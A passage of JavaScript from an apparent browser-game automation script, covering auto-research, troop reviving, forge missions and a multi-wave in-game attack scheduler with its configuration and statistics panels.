							dragons: true,
							jobs: true
						});
						actionLog(msg + ' : ' + rslt.errmsg);
						if (++t.feedErrorCount > 5) {
							if (t.contentType == 5) t.jobFeedback(translate('Too many errors, disabling auto-feeding'));
							t.setFeedingEnable(false);
							t.feedErrorCount = 0;
							return;
						}
						if (t.contentType == 5) t.jobFeedback(translate('FEEDING ERROR') + ': ' + rslt.errmsg);
						return;
					}
				});
			},
			doResearch: function(cityIdx, researchType, researchLevel) {
				var t = Tabs.Jobs;
				var city = Seed.cities[cityIdx];
				var msg = '<b>' + translate('Researching') + ': </b> ' + translate(t.resUITranslate(researchType)) + ' (' + researchLevel + ') ';
				if (t.contentType == 3) t.jobFeedback(msg);
				actionLog('<B>' + translate('Research Started') + '</B>: ' + translate(t.resUITranslate(researchType)) + ' (' + researchLevel + ') ');

				MyAjax.researchStart(city.id, researchType, function(rslt) {
					if (rslt.ok) {
						t.resErrorCount = 0;
						actionLog(msg);
						return;
					} else {
						Seed.fetchPlayer({
							cities: [],
							jobs: true
						});
						actionLog('<B>' + translate('Research Error').toUpperCase() + '</B>: ' + rslt.errmsg);
						if (++t.resErrorCount > 5) {
							if (t.contentType == 3) t.jobFeedback(translate('Too many errors, disabling auto-research'));
							t.setResearchEnable(false);
							t.resErrorCount = 0;
							return;
						}
						if (t.contentType == 3) t.jobFeedback(translate('RESEARCH ERROR') + ': ' + rslt.errmsg);
						return;
					}
				});
			},
			doResurrect: function(troopType, troopQty) {
				var t = Tabs.Jobs;
				var city = Seed.cities[SPECTRAL_OUTPOST.id];
				var msg = '<B>' + translate('Reviving') + '</B>: (' + troopQty + ') ' + translate(troopType) + ' ' + translate('at') + ' ' + city.type;
				if (t.contentType == 4) t.jobFeedback(msg);
				MyAjax.troopReviving(troopType, troopQty, city.id, function(rslt) {
					clearTimeout(t.resurrectTimer);
					if (rslt.ok) {
						t.revErrorCount = 0;
						actionLog(msg);
						Seed.cities[CAPITAL.id].souls[all_unit_types[troopType]] -= troopQty;
						t.resurrectTimer = setTimeout(function() {
							t.resurrectTick(0)
						}, Math.randRange(3000, 13000));
						/* Get the troops being built so the will be displayed */
						Seed.updateCity(rslt.dat.result.city);
						/* Get capital city to show new resources */
						if (rslt.dat.result.city.id !== Seed.cities[CAPITAL.id].id)
							Seed.addToRefresh(Seed.cities[CAPITAL.id].id, false);
					} else {
						verboseLog('Error: Reviving: ' + rslt.errmsg);
						actionLog('<B>' + translate('Error') + ' ' + translate('Reviving') + '</B>: ' + rslt.errmsg);
						/*  The queue is frequently full, but we could be getting server errors (500) too
					Wait a couple of minutes */
						if (++t.revErrorCount > 5) {
							if (t.contentType == 4) t.jobFeedback(translate('Too many errors, disabling auto reviving'));
							t.setResurrectEnable(false);
							t.revErrorCount = 0;
						} else {
							if (t.contentType == 4) t.jobFeedback(translate('Error') + ' ' + translate('Reviving') + ': ' + rslt.errmsg);
							t.resurrectTimer = setTimeout(function() {
								t.resurrectTick(ic)
							}, t.revRetryTime);
							t.revRetryTime *= 1.5;
						}
					}
				});
				if (t.contentType == 4) setTimeout(t.tabJobResurrect, 2000); /* to refresh souls qties */
			},
			doMission: function(missionId, adventurerId) {
				function cb(rslt) {
					if(rslt.ok) {
						Seed.player.forge.adventurers = rslt.dat.result.adventurers
						Tabs.Jobs.jobFeedback(translate('adventurer-in-progress') + ' ! ');
						
					} else {
						Tabs.Jobs.jobFeedback(translate('adventurer-in-progress') + ' : ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					}
				}
				Tabs.Jobs.trackStats('mission', missionId);
				MyAjax.playerMission(missionId, adventurerId, cb);
			},
			doClaim: function(mission, adventurerId) {
				function cb(rslt) {
					if(rslt.ok) {
						var ret=[];
						for(var i=0;i<rslt.dat.result.items.length;i++) {
							ret.push(translate(rslt.dat.result.items[i].toLowerCase()));
						}
						Tabs.Jobs.jobFeedback(translate('claim') + ' : ' + ret.join(', '));
						Tabs.Jobs.trackStats('claim', rslt.dat.result.items);
					} else {
						Tabs.Jobs.jobFeedback(translate('adventurer-claimable') + ' : ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					}
				}
				MyAjax.claimMission(mission, adventurerId, cb);
			},
			crushItem: function(nameItem, isAuto) {
				function cb(rslt) {
					if(rslt.ok) {
						for(var i=0;i<rslt.dat.result.disenchant_ingrendients.length;i++) {
							rslt.dat.result.disenchant_ingrendients[i] = translate(rslt.dat.result.disenchant_ingrendients[i].toLowerCase());
						}
						Tabs.Jobs.jobFeedback(translate('forge-salvage-materials') + ' ' + rslt.dat.result.disenchant_ingrendients.joint(', '));
						if(isAuto)
							Data.options.forge[type].nbAuto++;
					}
					else {
						Tabs.Jobs.jobFeedback(translate('forge-blacksmith') + ' : ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					}
				}
				
				MyAjax.forgeCrush(nameItem, cb);
			},
			forgeItem: function (nameItem, isAuto) {
				function cb(rslt) {
					if(rslt.ok) {
						if(rslt.dat.result.forge_result) {
							Tabs.Jobs.jobFeedback(translate('forge-success-title') + ' ' + translate(nameItem.toLowerCase()));
							if(isAuto)
								Data.options.forge[type].nbAuto++;
						}
						else {
							Tabs.Jobs.jobFeedback(translate('forge-fail-title') + ' ' + translate(nameItem.toLowerCase()));
						}
					}
					else {
						Tabs.Jobs.jobFeedback(translate('forge-blacksmith') + ' : ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					}
				}
				
				MyAjax.forgeItem(nameItem, cb);
			},
			showStats: function() {
				var t = Tabs.Jobs;
				var div = document.getElementById(UID['tabJobForge_tabStats_Status']);
				if (div == null)
					return;

				var run_time = Data.stats.forgeAdv.run_time;
				if (Data.options.forge.enableAutoMission)
					run_time += (serverTime() - t.runningForge.start_at);

				var trueRunTime = (run_time > 0) ? (run_time / 3600) : 1;

				var m = '<div class=' + UID['subtitle'] + '><b>' + translate('adventurers') + '</b></div>'
				+ '<table class=' + UID['table'] + '>' 
				+ '	<tr>' 
				+ '		<td class=right>' + translate('Start Date') + ': </td>' 
				+ '		<td colspan=>' + new Date(Data.stats.forgeAdv.start_at * 1000).myString() + '</td>' 
				+ '	</tr><tr>' 
				+ '		<td class=right>' + translate('Run Time') + ': </td>' 
				+ '		<td>' + timestr(run_time, true) + '</td>' 
				+ '	</tr>' 
				+ '	<tr valign=top align=right>' 
				+ '		<td class=right>' + translate('missions') + ': </td>';
				
				var first = true;
				for (var name in Data.stats.forgeAdv.total_missions) {
					var perHour = Math.round(Data.stats.forgeAdv.total_missions[name] / trueRunTime);
					if (first) first = false;
					else m += '	<tr align=right><td></td>';
					m += '		<td>' + translate('mission-'+name.replace(/_/g, '-')) + ':</td>' 
					+ '		<td>' + numf(Data.stats.forgeAdv.total_missions[name], ' ') + '</td>' 
					+ '		<td>(' + numf(perHour, ' ') + ' /' + translate('h') + ')</td>' 
					+ '	</tr>';
				}
	
				m += '<tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr valign=top align=right>' 
				+ '		<td class=right>' + translate('Items') + ': </td>';
				var first = true;
				for (var name in Data.stats.forgeAdv.items) {
					var perHour = Math.round(Data.stats.forgeAdv.items[name] / trueRunTime);
					if (first) first = false;
					else m += '	<tr align=right><td></td>';
					m += '			<td>' + translate(name) + ':</td>' 
					+ '			<td>' + numf(Data.stats.forgeAdv.items[name], ' ') + '</td>' 
					+ '			<td>(' + numf(perHour, ' ') + ' /' + translate('h') + ')</td>' 
					+ '		</tr>';
				}
				m += '</table>'
				+ '<div class=' + UID['subtitle'] + '><b>' + translate('forge-blacksmith') + '</b></div>'
				+ '<table class=' + UID['table'] + '>'
				+ '	<tr valign=top align=right>' 
				+ '		<td class=right>' + translate('forge-equipment') + ': </td>'
				+ '		<td>' + Data.options.forge.equipment.nbAuto + ' / ' + Data.options.forge.equipment.max + '</td>'
				+ ' </tr>'
				+ '	<tr valign=top align=right>' 
				+ '		<td class=right>' + translate('forge-ingredient') + ': </td>'
				+ '		<td>' + Data.options.forge.ingredient.nbAuto + ' / ' + Data.options.forge.ingredient.max + '</td>'
				+ ' </tr>'
				+ '	<tr valign=top align=right>' 
				+ '		<td class=right>' + translate('forge-crush') + ': </td>'
				+ '		<td>' + Data.options.forge.crush.nbAuto + ' / ' + Data.options.forge.crush.max + '</td>'
				+ ' </tr>'
				+ '</table>';
				
				div.innerHTML = m;
			},
			trackStats: function(type, obj) {
				var t = Tabs.Jobs;
				if(type == 'mission') {
					if(is_null(Data.stats.forgeAdv.total_missions[obj])) {
						Data.stats.forgeAdv.total_missions[obj] = 1;
					}
					else {
						Data.stats.forgeAdv.total_missions[obj] = Data.stats.forgeAdv.total_missions[obj] + 1;
					}
				}
				if(type == 'claim') {
					for(var i=0;i<obj.length;i++) {
						if(is_null(Data.stats.forgeAdv.items[obj[i]])) {
							Data.stats.forgeAdv.items[obj[i]] = 1;
						}
						else {
							Data.stats.forgeAdv.items[obj[i]] = Data.stats.forgeAdv.items[obj[i]] + 1;
						}
					}
				}
				t.showStats();
			}
		}

		/******************************** Multi Tab **********************************/
		Tabs.Multiple = {
			tabOrder: MULTI_TAB_ORDER,
			tabLabel: 'Multi',
			tabDisabled: !MULTI_TAB_ENABLE,
			container: null,
			enabled: false,
			attackTimer: null,
			marchTimer: null,
			attackErrors: 0,
			contentType: 0,
			/* 0 = config, 2 = stats */
			lastSubTab: 'tabMultiConfig',
			running: {
				start_at: 0
			},
			secondarySent: 0,

			init: function(div) {
				var t = Tabs.Multiple;
				Data.setDefaultValues('multiple');

				t.container = div;
				var m = '' + '<div class=' + UID['title'] + '>' + translate('Attack One Target in Multiple waves') + '</div>' + '<div id=' + setUID('tabMulti_Status') + ' class=' + UID['status_ticker'] + ' style="margin-bottom:5px !important">' + '	<center><input id=' + setUID('tabMulti_OnOff') + ' type=button value="OnOff" /></center>' + '	<div id=' + setUID('tabMulti_Report') + ' style="margin-top:5px;height:140px; max-height:140px; width:540px; max-width:540px; overflow:auto;">' + '		<table id=' + setUID('tabMulti_Marches') + ' class=' + UID['table'] + '></table>' + '	</div>' + '	<div id=' + setUID('tabMulti_Feedback') + ' class=' + UID['status_feedback'] + '></div>' + '</div>' + '<ul class=tabs>' + '	<li class="tab first"><a id=' + setUID('tabMultiConfig') + '>' + translate('Config') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabMultiStats') + '>' + translate('Stats') + '</a></li>' + '</ul>' + '<div id=' + setUID('tabMulti_Content') + ' style="padding-top:0px; height:440px; overflow-y:auto"></div>';
				t.container.innerHTML = m;
				document.getElementById(UID['tabMultiConfig']).addEventListener('click', t.tabMultiConfig, false);
				document.getElementById(UID['tabMultiStats']).addEventListener('click', t.tabMultiStats, false);
				document.getElementById(UID['tabMulti_OnOff']).addEventListener('click', function() {
					t.setMultiEnable(!Data.options.multiple.enabled);
				}, false);
				window.addEventListener('unload', t.onUnload, false);
				t.setMultiEnable(Data.options.multiple.enabled);
				t.contentType = toNum(Data.options.multiple.current_tab);
				t.show();
			},

			tabMultiConfig: function() {
				var t = Tabs.Multiple;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabMultiConfig']).className = 'selected';
				document.getElementById(UID['tabMultiConfig']).style.zIndex = 1;
				t.lastSubTab = 'tabMultiConfig';

				t.contentType = 0;

				var m = '<div class="' + UID['title'] + '">' + translate('Attacks') + ' ( ' + translate('Max') + '. ' + translate('Troops') + ' ' + numf(toNum((getMusterPoint(CAPITAL.id)).max_troops), ' ') + ' )</div>' + '<div class=' + UID['content'] + '>' + '	<div>' + '		<b>' + translate('Coords') + ':&nbsp;</b>&nbsp;' + '		X: <input id=' + setUID('tabMulti_CoordsX') + ' size=1 maxlength=3 type=text value="' + Data.options.multiple.target.x + '" /> ' + '		Y: <input id=' + setUID('tabMulti_CoordsY') + ' size=2 maxlength=3 type=text value="' + Data.options.multiple.target.y + '" /> ' + '		&nbsp <b>' + translate('Distance') + ':</b> <span id=' + setUID('tabMulti_Distance') + '></span><BR>' + '		<div class=' + UID['status_ticker'] + ' style="height:auto !important;margin:5px 10px !important;">' + '			<center><span id=' + setUID('tabMulti_Tile') + '></span></center>' + '		</div>' + '	</div>' + '  <div>' + '	<table id=' + setUID('tabMulti_Troops') + ' class=' + UID['table'] + ' width=100%>' + '		<tr align=center class=' + UID['row_headers'] + '>' + '			<td colspan=10>' + translate('Troops for Primary Attack') + ':&nbsp;</td>' + '		</tr>' + '	</table>' + '	</div>' + '  <div>' + '	<table id=' + setUID('tabMulti_Dragons') + ' class=' + UID['table'] + ' width=100%>' + '		<tr align=left>' + '			<td class=left colspan=10>' + translate('Include Great Dragon') + ':&nbsp;</td>';
				var currentDragons_1 = [];
				for (var j = 0; j < Seed.dragonList.length; j++) {
					var dragon = Seed.dragonList[j];
					if (j % 5 == 0)
						m += '</tr><tr>';
					m += '	<td class=right><span title="' + translate(dragon.type) + '">' + translate(Names.getTroopAbbr(dragon.type)) + ':<span></td>' + '	<td align=center><input type=checkbox id=' + setUID('tabMulti_Dragons_' + j) + ' ref="' + j + '" ' + (Data.options.multiple.target.dragons_1[dragon.type] ? ' checked' : '') + ' /></td>';
					currentDragons_1.push(j);
				}
				m += '</tr>' + '	</table>' + '	</div><br>' + '  <div>' + '	<table id=' + setUID('tabMulti_Troops2') + ' class=' + UID['table'] + ' width=100%>' + '		<tr align=center class=' + UID['row_headers'] + '>' + '			<td colspan=10>' + translate('Troops for Secondary Attacks') + ':&nbsp;</td>' + '		</tr>' + '	</table>' + '	</div>' + '  <div>' + '	<table id=' + setUID('tabMulti_Dragons2') + ' class=' + UID['table'] + ' width=100%>' + '		<tr align=left>' + '			<td class=left colspan=10>' + translate('Include Great Dragon') + ':&nbsp;</td>';
				var currentDragons_2 = [];
				for (var j = 0; j < Seed.dragonList.length; j++) {
					var dragon = Seed.dragonList[j];
					if (j % 5 == 0)
						m += '</tr><tr>';
					m += '	<td class=right><span title="' + translate(dragon.type) + '">' + translate(Names.getTroopAbbr(dragon.type)) + ':<span></td>' + '	<td align=center><input type=checkbox id=' + setUID('tabMulti_Dragons2_' + j) + ' ref="' + j + '" ' + (Data.options.multiple.target.dragons_2[dragon.type] ? ' checked' : '') + ' /></td>';
					currentDragons_2.push(j);
				}
				m += '</tr>' + '	</table>' + '	</div><br>' + '	<table class=' + UID['table'] + '>' + '		<tr>' + '			<td class=right> ' + translate('Delete Battle Reports') + ':&nbsp;</td>' + '			<td><input id=' + setUID('tabMulti_DelReports') + ' type=checkbox ' + (Data.options.multiple.delete_reports ? 'CHECKED' : '') + ' /></td>' + '		</tr><tr>' + '			<td class=right>' + translate('Stop if any troops lost') + ':&nbsp;</td>' + '			<td><input id=' + setUID('tabMulti_StopOnLoss') + ' type=checkbox ' + (Data.options.multiple.stop_on_loss ? 'CHECKED' : '') + ' /></td>' + '		</tr><tr>' + '			<td class=right>' + translate('Delay before sending Primary attack') + ':&nbsp;</td>' + '			<td>' + '				<input id=' + setUID('tabMulti_DelayMin') + ' type=text size=1 maxlength=4 value="' + Data.options.multiple.delay_min + '" />' + '				 to <span id=' + setUID('tabMulti_DelayMax') + '>' + Data.options.multiple.delay_max + '</span>&nbsp;' + translate('seconds') + '			</td>' + '		</tr><tr>' + '			<td class=right> ' + translate('Delay before first secondary attack') + ':&nbsp;</td>' + '			<td><input id=' + setUID('tabMulti_DelayB4Secondary') + ' type=text size=1 maxlength=4 value="' + Data.options.multiple.delay_b4_secondary + '" /></td>' + '		</tr><tr>' + '			<td class=right>' + translate('Delay Between Secondary Attacks') + ':&nbsp;</td>' + '			<td>' + '				<input id=' + setUID('tabMulti_DelayMin2') + ' type=text size=1 maxlength=4 value="' + Data.options.multiple.delay_min2 + '" />' + '				 to <span id=' + setUID('tabMulti_DelayMax2') + '>' + Data.options.multiple.delay_max2 + '</span>&nbsp;' + translate('seconds') + '			</td>' + '		</tr><tr>' + '			<td class=right> ' + translate('Maximum simultaneous marches') + ':&nbsp;</td>' + '			<td><input id=' + setUID('tabMulti_MaxMarches') + ' type=text size=1 maxlength=2 value="' + Data.options.multiple.max_marches + '" /></td>' + '		</tr><tr>' + '			<td class=right> ' + translate('Maximum secondary marches before sending another primary attack') + ':&nbsp;</td>' + '			<td><input id=' + setUID('tabMulti_MaxSecondary') + ' type=text size=1 maxlength=2 value="' + Data.options.multiple.max_secondary + '" /></td>' + '		</tr>' + '	</table>' + '</div>';
				document.getElementById(UID['tabMulti_Content']).innerHTML = m;
				document.getElementById(UID['tabMulti_CoordsX']).addEventListener('change', eventCoords, false);
				document.getElementById(UID['tabMulti_CoordsY']).addEventListener('change', eventCoords, false);
				document.getElementById(UID['tabMulti_DelReports']).addEventListener('click', function(event) {
					Data.options.multiple.delete_reports = event.target.checked;
				}, false);
				document.getElementById(UID['tabMulti_StopOnLoss']).addEventListener('click', function(event) {
					Data.options.multiple.stop_on_loss = event.target.checked;
				}, false);
				document.getElementById(UID['tabMulti_DelayMin']).addEventListener('change', delayChanged, false);
				document.getElementById(UID['tabMulti_DelayMin2']).addEventListener('change', delayChanged2, false);
				document.getElementById(UID['tabMulti_DelayB4Secondary']).addEventListener('change', delaySecondaryChanged, false);
				document.getElementById(UID['tabMulti_MaxMarches']).addEventListener('change', maxMarchesChanged, false);
				document.getElementById(UID['tabMulti_MaxSecondary']).addEventListener('change', maxSecondaryChanged, false);
				setTroopTable(document.getElementById(UID['tabMulti_Troops']), 1, 'PW', wave_unit_types,
					Data.options.multiple.target.primary_units, Data.options.multiple.target.saved_units_1, eventTroops, true);
				setTroopTable(document.getElementById(UID['tabMulti_Troops2']), 1, 'SW', wave_unit_types,
					Data.options.multiple.target.secondary_units, Data.options.multiple.target.saved_units_2, eventTroops2, true);
				for (var j = 0; j < currentDragons_1.length; ++j) {
					document.getElementById(UID['tabMulti_Dragons_' + currentDragons_1[j]]).addEventListener('change', function(event) {
						var args = event.target.getAttribute('ref');
						Data.options.multiple.target.dragons_1[Seed.dragonList[args].type] = event.target.checked;
						var include_great_dragon = false;
						for (var x = 0; x < Seed.dragonList.length && !include_great_dragon; x++) {
							var dragon = Seed.dragonList[x];
							if (Data.options.multiple.target.dragons_1[dragon.type]) include_great_dragon = true;
						}
						if (include_great_dragon) Data.options.multiple.target.include_gd_1 = true;
						else Data.options.multiple.target.include_gd_1 = false;
					}, false);
				}
				for (var j = 0; j < currentDragons_2.length; ++j) {
					document.getElementById(UID['tabMulti_Dragons2_' + currentDragons_2[j]]).addEventListener('change', function(event) {
						var args = event.target.getAttribute('ref');
						Data.options.multiple.target.dragons_2[Seed.dragonList[args].type] = event.target.checked;
						var include_great_dragon = false;
						for (var x = 0; x < Seed.dragonList.length && !include_great_dragon; x++) {
							var dragon = Seed.dragonList[x];
							if (Data.options.multiple.target.dragons_2[dragon.type]) include_great_dragon = true;
						}
						if (include_great_dragon) Data.options.multiple.target.include_gd_2 = true;
						else Data.options.multiple.target.include_gd_2 = false;
					}, false);
				}
				eventCoords();

				function delayChanged(event) {
					var min = toNum(event.target.value);
					var max = toNum(min * 1.5);
					if (min < nvl(MIN_DELAY_BETWEEN_WAVE, 10) || min > 3600) {
						event.target.style.backgroundColor = 'red';
						return;
					}
					document.getElementById(UID['tabMulti_DelayMax']).innerHTML = max;
					event.target.style.backgroundColor = '';
					Data.options.multiple.delay_min = min;
					Data.options.multiple.delay_max = max;
				}

				function delayChanged2(event) {
					var min = toNum(event.target.value);
					var max = toNum(min * 1.5);
					if (min < 3 || min > 3600) {
						event.target.style.backgroundColor = 'red';
						return;
					}
					document.getElementById(UID['tabMulti_DelayMax2']).innerHTML = max;
					event.target.style.backgroundColor = '';
					Data.options.multiple.delay_min2 = min;
					Data.options.multiple.delay_max2 = max;
				}

				function delaySecondaryChanged(event) {
					var delay = toNum(event.target.value);
					if (delay < 3 || delay > 3600) {
						event.target.style.backgroundColor = 'red';
						return;
					}
					event.target.style.backgroundColor = '';
					Data.options.multiple.delay_b4_secondary = delay;
				}

				function eventCoords(event) {
					checkCoords('tabMulti', Data.options.multiple.target.primary_units, Data.options.multiple.target);
				}

				function eventTroops(event) {
					var args = event.target.name.split('_');
					if (args[0] == 'PW') {
						var tt = wave_unit_types[args[1]];
						var tr = Data.options.multiple.target.primary_units;
						tr[tt] = event.target.value;
						var tr = Data.options.multiple.target.saved_units_1;
						tr[tt] = event.target.value;
						var time = getMarchTime(Data.options.multiple.target.x, Data.options.multiple.target.y, Data.options.multiple.target.primary_units);
						document.getElementById(UID['tabMulti_Distance']).innerHTML = getDistance(Seed.cities[CAPITAL.id].x, Seed.cities[CAPITAL.id].y, Data.options.multiple.target.x, Data.options.multiple.target.y) + ' (' + timestrShort(time) + ')';
					}
				}

				function eventTroops2(event) {
					var args = event.target.name.split('_');
					if (args[0] == 'SW') {
						var tt = wave_unit_types[args[1]];
						var tr = Data.options.multiple.target.secondary_units;
						tr[tt] = event.target.value;
						var tr = Data.options.multiple.target.saved_units_2;
						tr[tt] = event.target.value;
					}
				}

				function maxMarchesChanged(event) {
					var val = toNum(document.getElementById(UID['tabMulti_MaxMarches']).value);
					if (val < 0 || val > Seed.cities[CAPITAL.id].figures.marches.maximum) {
						event.target.style.backgroundColor = 'red';
						return;
					}
					event.target.style.backgroundColor = '';
					Data.options.multiple.max_marches = val;
				}

				function maxSecondaryChanged(event) {
					var val = toNum(document.getElementById(UID['tabMulti_MaxSecondary']).value);
					if (val < 0 || val > Seed.cities[CAPITAL.id].figures.marches.maximum) {
						event.target.style.backgroundColor = 'red';
						return;
					}
					event.target.style.backgroundColor = '';
					Data.options.multiple.max_secondary = val;
				}
			},

			tabMultiStats: function() {
				var t = Tabs.Multiple;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabMultiStats']).className = 'selected';
				document.getElementById(UID['tabMultiStats']).style.zIndex = 1;
				t.lastSubTab = 'tabMultiStats';

				t.contentType = 1;

				var m = '<div class=' + UID['title'] + '>' + translate('Attacks Stats') + '</div>' + '<div id=' + setUID('tabMultiStats_Statbox') + ' class=' + UID['status_ticker'] + '>' + '<div id=' + setUID('tabMultiStats_Status') + '></div>' + '<div id=' + setUID('tabMultiStats_Percent') + '></div>' + '<br/>' + '<center><input id=' + setUID('tabMultiStats_Clear') + ' type=button value="' + translate('Clear Stats') + '" /></center>' + '<br></div>';
				document.getElementById(UID['tabMulti_Content']).innerHTML = m;
				document.getElementById(UID['tabMultiStats_Clear']).addEventListener('click', function() {
					clearStats();
					t.showStats();
				}, false);
				t.showStats();

				function clearStats() {
					var t = Tabs.Multiple;
					var now = serverTime();
					Data.stats.multiple = {
						start_at: now,
						run_time: 0,
						total_attacks: 0,
						loss: {},
						items: {},
						resources: {}
					};
					t.showStats();
				}
			},
			gotBattleReport: function(rpt_m) {
				var t = Tabs.Multiple,
					has_loss = false;
				if (!rpt_m) return;
				if (rpt_m.report.location.x == Data.options.multiple.target.x &&
					rpt_m.report.location.y == Data.options.multiple.target.y
				) {
					var march_id = null;
					for (var id in Data.marches.multiple) {
						var march = Data.marches.multiple[id];
						if (march.general.id === rpt_m.report.attacker.general.id) {
							march_id = id;
							break;
						}
					}
					if (march_id && march_id != null) t.trackStats(march_id, rpt_m);
					var items = rpt_m.report.spoils.items;
					if (items.length !== 0) Seed.fetchPlayer({
						noCities: true
					});
					if (!Data.options.multiple.delete_reports && !Data.options.multiple.stop_on_loss) return;

					if (Data.options.multiple.stop_on_loss && rpt_m.report.attacker.name == Seed.player.name) {
						for (var p in rpt_m.report.attacker.units) {
							if (rpt_m.report.attacker.units[p][0] != rpt_m.report.attacker.units[p][1]) {
								has_loss = true;
								var ts = new Date(rpt_m.report_notification.created_at * 1000).myString();
								t.setMultiEnable(false);
								dispFeedback(UID['tabMulti_Feedback'], translate('Troops lost') + '! (' + ts + ')');
								actionLog(translate('Multi') + ': ' + translate('Troops lost') + '! (' + ts + ')');
								for (var id in Data.marches.multiple) {
									if (Data.marches.multiple[id].status === 'marching')
										doRecallMarch(Data.marches.multiple[id].city_id, id);
								}
								return;
							}
						}
					}
					if (Data.options.multiple.delete_reports && rpt_m.report.attacker.name == Seed.player.name && !has_loss)
						Messages.deleteMessage(rpt_m.report_notification.id);
				}

				function doRecallMarch(city_id, id) {
					var targMsg = 'Recall march ' + id;
					verboseLog(targMsg + ' ' + translate('attempted'));
					new MyAjax.marchRecall(city_id, id, function(rslt) {
						if (rslt.ok) {
							verboseLog(targMsg + ' ' + translate('succeeded'));
						} else {
							verboseLog(targMsg + ' ' + translate('failed and returned error') + ': ' + rslt.errmsg);
						}
					});
				}
			},
			marchTick: function() {
				var t = Tabs.Multiple;
				clearTimeout(t.marchTimer);
				Marches.updateTable(document.getElementById(UID['tabMulti_Marches']), 'multiple');
				t.marchTimer = setTimeout(t.marchTick, 1000);
			},
			setMultiEnable: function(onOff) {
				var t = Tabs.Multiple;
				var but = document.getElementById(UID['tabMulti_OnOff']);
				clearTimeout(t.attackTimer);
				Data.options.multiple.enabled = onOff;
				if (onOff) {
					Messages.addBattleReportListener(t.gotBattleReport);
					but.value = translate('Attacking').toUpperCase();
					but.className = UID['btn_on'];
					t.multiAttackTick();
					t.running.start_at = serverTime();
					Data.stats.multiple.start_at = serverTime();
				} else {
					Messages.removeReportListener('multiple', t.gotBattleReport);
					but.value = translate('Disabled').toUpperCase();
					but.className = UID['btn_off'];
					if (t.running.start_at !== 0) {
						Data.stats.multiple.run_time += (serverTime() - t.running.start_at);
					}
				}
			},
			showStats: function() {
				var t = Tabs.Multiple;
				var div = document.getElementById(UID['tabMultiStats_Status']);
				if (div == null) return;

				var run_time = Data.stats.multiple.run_time;
				if (Data.options.multiple.enabled)
					run_time += (serverTime() - t.running.start_at);

				var trueRunTime = (run_time > 0) ? (run_time / 3600) : 1;

				var m = '<table class=' + UID['table'] + '>' + '	<tr>' + '		<td class=right>' + translate('Start Date') + ': </td>' + '		<td colspan=>' + new Date(Data.stats.multiple.start_at * 1000).myString() + '</td>' + '	</tr><tr>' + '		<td class=right>' + translate('Run Time') + ': </td>' + '		<td>' + timestr(run_time, true) + '</td>' + '	</tr><tr>' + '		<td class=right>' + translate('Attacks') + ': </td>' + '		<td>' + Data.stats.multiple.total_attacks + '</td>' + '	<tr valign=top align=right>' + '		<td class=right>' + translate('Troops lost') + ': </td>';
				var first = true;
				for (var name in Data.stats.multiple.loss) {
					var perHour = Math.round(Data.stats.multiple.loss[name] / trueRunTime);
					if (first) first = false;
					else m += '	<tr align=right><td></td>';
					m += '		<td>' + translate(name) + ':</td>' + '		<td>' + numf(Data.stats.multiple.loss[name], ' ') + '</td>' + '		<td>(' + numf(perHour, ' ') + ' /' + translate('h') + ')</td>' + '	</tr>';
				}
				m += '</tr><tr valign=top align=right>' + '		<td class=right>' + translate('Resources') + ': </td>';
				var first = true;
				for (var name in Data.stats.multiple.resources) {
					var perHour = Math.round(Data.stats.multiple.resources[name] / trueRunTime);
					if (first) first = false;
					else m += '	<tr align=right><td></td>';
					m += '			<td>' + translate(name) + ':</td>' + '			<td>' + numf(Data.stats.multiple.resources[name], ' ') + '</td>' + '			<td>(' + numf(perHour, ' ') + ' /' + translate('h') + ')</td>' + '		</tr>';
				}

				m += '<tr valign=top align=right>' + '		<td class=right>' + translate('Items') + ': </td>';
				var items = [];
				for (var name in Data.stats.multiple.items)
					items.push({
						desc: translate(name),
						qty: Data.stats.multiple.items[name]
					});
				if (items.length > 0) {
					items.sort(function(a, b) {
						a = a.desc.toLowerCase();
						b = b.desc.toLowerCase();
						if (a > b) return 1;
						if (a < b) return -1;
						return 0;
					});
					for (var i = 0; i < items.length; i++) {
						var perHour = Math.round(items[i].qty / trueRunTime);
						if (i > 0) m += '<tr align=right><td></td>';
						m += '		<td>' + items[i].desc + ':</td>' + '		<td>' + numf(items[i].qty, ' ') + '</td>' + '		<td>(' + numf(perHour, ' ') + ' /' + translate('h') + ')</td>' + '	</tr>';
					}
				}
				m += '</table>';
				div.innerHTML = m;
			},
			trackStats: function(marchId, rpt_mu) {
				var t = Tabs.Multiple;
				if (DEBUG_MARCHES) debugLog('Tabs.Multiple.trackStats: ' + marchId);

				if (is_null(Data.stats.multiple.total_attacks)) Data.stats.multiple.total_attacks = 0;
				if (is_null(Data.stats.total.total_attacks)) Data.stats.total.total_attacks = 0;
				++Data.stats.multiple.total_attacks;
				++Data.stats.total.total_attacks;
				var res = rpt_mu.report.spoils.resources;
				for (var p in res) {
					objAddTo(Data.stats.multiple.resources, p, toNum(res[p]), false);
					objAddTo(Data.stats.total.resources, p, toNum(res[p]), false);
				}
				var killRes = rpt_mu.report.spoils.kill_items;
				for (var p in killRes) {
					objAddTo(Data.stats.multiple.resources, p, toNum(killRes[p]), false);
					objAddTo(Data.stats.total.resources, p, toNum(killRes[p]), false);
				}
				var items = rpt_mu.report.spoils.items;
				for (var i = 0; i < items.length; i++) {
					objAddTo(Data.stats.multiple.items, items[i], 1, true);
					objAddTo(Data.stats.total.items, items[i], 1, true);
				}
				for (var p in rpt_mu.report.attacker.units) {
					if (rpt_mu.report.attacker.units[p][0] != rpt_mu.report.attacker.units[p][1]) {
						var nb = toNum(rpt_mu.report.attacker.units[p][0]) - toNum(rpt_mu.report.attacker.units[p][1]);
						objAddTo(Data.stats.multiple.loss, p, nb, true);
						objAddTo(Data.stats.total.loss, p, nb, true);
					}
				}
				Data.marches.multiple[marchId].has_report = true;
				t.showStats();
			},

			/* For primary attack wave */
			multiAttackTick: function() {
				var t = Tabs.Multiple,
					targetMsg, retryDelay, availableGeneral, multiUnits, marchCount = 0;
